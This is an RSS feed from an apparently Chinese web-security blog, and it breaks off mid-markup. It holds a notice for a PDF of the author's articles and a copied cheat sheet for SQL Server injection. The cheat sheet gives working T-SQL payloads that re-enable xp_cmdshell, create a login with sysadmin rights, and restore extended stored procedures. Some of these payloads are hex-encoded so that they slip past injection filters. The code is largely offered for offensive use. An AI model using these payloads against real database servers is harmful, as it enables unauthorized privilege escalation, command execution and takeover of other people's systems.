<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>暖月</title>
	<atom:link href="http://www.nuanyue.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.nuanyue.com</link>
	<description>专注WEB、Linux及数据库应用安全</description>
	<lastBuildDate>Sun, 01 Aug 2010 01:52:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>暖月-Web应用安全文集</title>
		<link>http://www.nuanyue.com/%e6%9a%96%e6%9c%88-web%e5%ba%94%e7%94%a8%e5%ae%89%e5%85%a8%e6%96%87%e9%9b%86-2.html</link>
		<comments>http://www.nuanyue.com/%e6%9a%96%e6%9c%88-web%e5%ba%94%e7%94%a8%e5%ae%89%e5%85%a8%e6%96%87%e9%9b%86-2.html#comments</comments>
		<pubDate>Fri, 30 Jul 2010 06:53:34 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[Web应用安全]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1361</guid>
		<description><![CDATA[<p>整理了一下博客里的部分文章，编辑了一下，方便阅读，看来记录下来的，才最真实。</p>
<p><a href="http://www.nuanyue.com/wp-content/uploads/2010/07/2222.jpg" rel="lightbox"><img class="aligncenter size-full wp-image-1375" title="2222" src="http://www.nuanyue.com/wp-content/uploads/2010/07/2222.jpg" alt="" width="699" height="599" /></a></p>
<p>下载：<br />
<a href="http://www.nuanyue.com/wp-content/uploads/2010/07/暖月-Web应用安全文集1.pdf">暖月-Web应用安全文集</a></p>]]></description>
			<content:encoded><![CDATA[<p>整理了一下博客里的部分文章，编辑了一下，方便阅读，看来记录下来的，才最真实。</p>
<p><a href="http://www.nuanyue.com/wp-content/uploads/2010/07/2222.jpg" rel="lightbox"><img class="aligncenter size-full wp-image-1375" title="2222" src="http://www.nuanyue.com/wp-content/uploads/2010/07/2222.jpg" alt="" width="699" height="599" /></a></p>
<p>下载：<br />
<a href="http://www.nuanyue.com/wp-content/uploads/2010/07/暖月-Web应用安全文集1.pdf">暖月-Web应用安全文集</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e6%9a%96%e6%9c%88-web%e5%ba%94%e7%94%a8%e5%ae%89%e5%85%a8%e6%96%87%e9%9b%86-2.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SQL高级注入使用之储存过程</title>
		<link>http://www.nuanyue.com/sql%e9%ab%98%e7%ba%a7%e6%b3%a8%e5%85%a5%e4%bd%bf%e7%94%a8%e4%b9%8b%e5%82%a8%e5%ad%98%e8%bf%87%e7%a8%8b.html</link>
		<comments>http://www.nuanyue.com/sql%e9%ab%98%e7%ba%a7%e6%b3%a8%e5%85%a5%e4%bd%bf%e7%94%a8%e4%b9%8b%e5%82%a8%e5%ad%98%e8%bf%87%e7%a8%8b.html#comments</comments>
		<pubDate>Wed, 14 Jul 2010 14:39:53 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[Oracle注入]]></category>
		<category><![CDATA[注入整理]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1346</guid>
		<description><![CDATA[<p>看到别人整理的相当不错，拷贝到博客里来了，里面有添加的几段。</p>

<div class="wp_codebox"><table><tr id="p13461"><td class="code" id="p1346code1"><pre class="c" style="font-family:monospace;">sql2005恢复xp_cmdshell
EXEC sp_configure <span style="color: #ff0000;">'show advanced options'</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>RECONFIGURE<span style="color: #339933;">;</span>EXEC sp_configure <span style="color: #ff0000;">'xp_cmdshell'</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>RECON[......]</pre></td></tr></table></div><p class='read-more'><a href='http://www.nuanyue.com/sql%e9%ab%98%e7%ba%a7%e6%b3%a8%e5%85%a5%e4%bd%bf%e7%94%a8%e4%b9%8b%e5%82%a8%e5%ad%98%e8%bf%87%e7%a8%8b.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>看到别人整理的相当不错，拷贝到博客里来了，里面有添加的几段。</p>

<div class="wp_codebox"><table><tr id="p13462"><td class="code" id="p1346code2"><pre class="c" style="font-family:monospace;">sql2005恢复xp_cmdshell
EXEC sp_configure <span style="color: #ff0000;">'show advanced options'</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>RECONFIGURE<span style="color: #339933;">;</span>EXEC sp_configure <span style="color: #ff0000;">'xp_cmdshell'</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>RECONFIGURE<span style="color: #339933;">;</span>
关闭<span style="color: #339933;">:</span>EXEC sp_configure <span style="color: #ff0000;">'show advanced options'</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>RECONFIGURE<span style="color: #339933;">;</span>EXEC sp_configure <span style="color: #ff0000;">'xp_cmdshell'</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>RECONFIGURE<span style="color: #339933;">;</span>
<span style="color: #339933;">---------------</span>
<span style="color: #339933;">--</span> 添加SA用户<span style="color: #339933;">--</span>
<span style="color: #339933;">---------------</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
<span style="color: #0000dd;">1</span>、exec master.<span style="color: #202020;">dbo</span>.<span style="color: #202020;">sp_addlogin</span> system<span style="color: #339933;">;</span>
<span style="color: #0000dd;">2</span>、exec master.<span style="color: #202020;">dbo</span>.<span style="color: #202020;">sp_addlogin</span> system<span style="color: #339933;">,</span>system<span style="color: #339933;">;</span>
<span style="color: #0000dd;">3</span>、exec master.<span style="color: #202020;">dbo</span>.<span style="color: #202020;">sp_addsrvrolemember</span> itpro<span style="color: #339933;">,</span>sysadmin
&nbsp;
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
防注入 sa<span style="color: #339933;">:</span>itpro pass<span style="color: #339933;">:</span>itpro
declare @s varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span> set @s<span style="color: #339933;">=</span>cast<span style="color: #009900;">&#40;</span><span style="color: #208080;">0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726f</span> as varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>exec<span style="color: #009900;">&#40;</span>@s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> declare @c varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span> set @c<span style="color: #339933;">=</span>cast<span style="color: #009900;">&#40;</span><span style="color: #208080;">0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726f</span> as varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>exec<span style="color: #009900;">&#40;</span>@c<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> declare @a varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span> set @a<span style="color: #339933;">=</span>cast<span style="color: #009900;">&#40;</span><span style="color: #208080;">0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696e</span> as varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>exec<span style="color: #009900;">&#40;</span>@a<span style="color: #009900;">&#41;</span><span style="color: #339933;">;--</span> and <span style="color: #0000dd;">1</span><span style="color: #339933;">=</span><span style="color: #0000dd;">1</span>
&nbsp;
防注入 sa<span style="color: #339933;">:</span>system pass<span style="color: #339933;">:</span>system
declare @s varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span> set @s<span style="color: #339933;">=</span>cast<span style="color: #009900;">&#40;</span><span style="color: #208080;">0x65786563206d61737465722e64626f2e73705f6164646c6f67696e2073797374656d2c73797374656d</span> as varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>exec<span style="color: #009900;">&#40;</span>@s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>declare @a varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span> set @a<span style="color: #339933;">=</span>cast<span style="color: #009900;">&#40;</span><span style="color: #208080;">0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696e</span> as varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>exec<span style="color: #009900;">&#40;</span>@a<span style="color: #009900;">&#41;</span><span style="color: #339933;">;--</span> and <span style="color: #0000dd;">1</span><span style="color: #339933;">=</span><span style="color: #0000dd;">1</span>
一、
<span style="color: #339933;">--------------</span>
<span style="color: #339933;">-</span>恢复存储过程<span style="color: #339933;">-</span>
<span style="color: #339933;">--------------</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
use master
exec sp_addextendedproc xp_cmdshell<span style="color: #339933;">,</span><span style="color: #ff0000;">'xp_cmdshell.dll'</span>
exec sp_dropextendedproc <span style="color: #ff0000;">&quot;xp_cmdshell&quot;</span>
exec sp_addextendedproc <span style="color: #ff0000;">'xp_cmdshell'</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">'xpsql70.dll'</span>
exec sp_dropextendedproc <span style="color: #ff0000;">'xp_cmdshell'</span>
exec sp_addextendedproc <span style="color: #ff0000;">'xp_cmdshell'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'xpweb70.dll'</span>
exec sp_addextendedproc xp_dirtree<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc xp_enumgroups<span style="color: #339933;">,</span><span style="color: #ff0000;">'xplog70.dll'</span>
exec sp_addextendedproc xp_fixeddrives<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc xp_loginconfig<span style="color: #339933;">,</span><span style="color: #ff0000;">'xplog70.dll'</span>
exec sp_addextendedproc xp_enumerrorlogs<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc xp_getfiledetails<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc sp_OACreate<span style="color: #339933;">,</span><span style="color: #ff0000;">'odsole70.dll'</span>
exec sp_addextendedproc sp_OADestroy<span style="color: #339933;">,</span><span style="color: #ff0000;">'odsole70.dll'</span>
exec sp_addextendedproc sp_OAGetErrorInfo<span style="color: #339933;">,</span><span style="color: #ff0000;">'odsole70.dll'</span>
exec sp_addextendedproc sp_OAGetProperty<span style="color: #339933;">,</span><span style="color: #ff0000;">'odsole70.dll'</span>
exec sp_addextendedproc sp_OAMethod<span style="color: #339933;">,</span><span style="color: #ff0000;">'odsole70.dll'</span>
exec sp_addextendedproc sp_OASetProperty<span style="color: #339933;">,</span><span style="color: #ff0000;">'odsole70.dll'</span>
exec sp_addextendedproc sp_OAStop<span style="color: #339933;">,</span><span style="color: #ff0000;">'odsole70.dll'</span>
exec sp_addextendedproc xp_regaddmultistring<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc xp_regdeletekey<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc xp_regdeletevalue<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc xp_regenumvalues<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc xp_regread<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc xp_regremovemultistring<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc xp_regwrite<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
exec sp_addextendedproc xp_availablemedia<span style="color: #339933;">,</span><span style="color: #ff0000;">'xpstar.dll'</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
恢复cmdshell防注入
<span style="color: #339933;">============================================================</span>
declare @a varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>@b varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>@c varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
set @a<span style="color: #339933;">=</span><span style="color: #208080;">0x6D61737465722E2E73705F616464657874656E64656470726F63</span><span style="color: #339933;">;</span>
set @b<span style="color: #339933;">=</span><span style="color: #208080;">0x78705F636D647368656C6C</span><span style="color: #339933;">;</span>
set @c<span style="color: #339933;">=</span><span style="color: #208080;">0x78706C6F6737302E646C6C</span><span style="color: #339933;">;</span>
exec @a @b<span style="color: #339933;">,</span>@c
<span style="color: #339933;">============================================================</span>
&nbsp;
二、
&nbsp;
<span style="color: #339933;">----------------------------------</span>
<span style="color: #339933;">--</span>恢复sp_addextendedproc存储过程<span style="color: #339933;">--</span>
<span style="color: #339933;">----------------------------------</span>
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span>
create procedure sp_addextendedproc <span style="color: #339933;">---</span> <span style="color: #0000dd;">1996</span><span style="color: #339933;">/</span><span style="color:#800080;">08</span><span style="color: #339933;">/</span><span style="color: #0000dd;">30</span> <span style="color: #0000dd;">20</span><span style="color: #339933;">:</span><span style="color: #0000dd;">13</span>
@functname nvarchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">517</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #808080; font-style: italic;">/* (owner.)name of function to call */</span> @dllname varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #808080; font-style: italic;">/* name of DLL containing function */</span> as
set implicit_transactions off
<span style="color: #b1b100;">if</span> @@trancount <span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #0000dd;">0</span>
begin
raiserror<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">15002</span><span style="color: #339933;">,-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'sp_addextendedproc'</span><span style="color: #009900;">&#41;</span>
<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span>
end
dbcc addextendedproc<span style="color: #009900;">&#40;</span> @functname<span style="color: #339933;">,</span> @dllname<span style="color: #009900;">&#41;</span>
<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">--</span> sp_addextendedproc
GO
<span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span 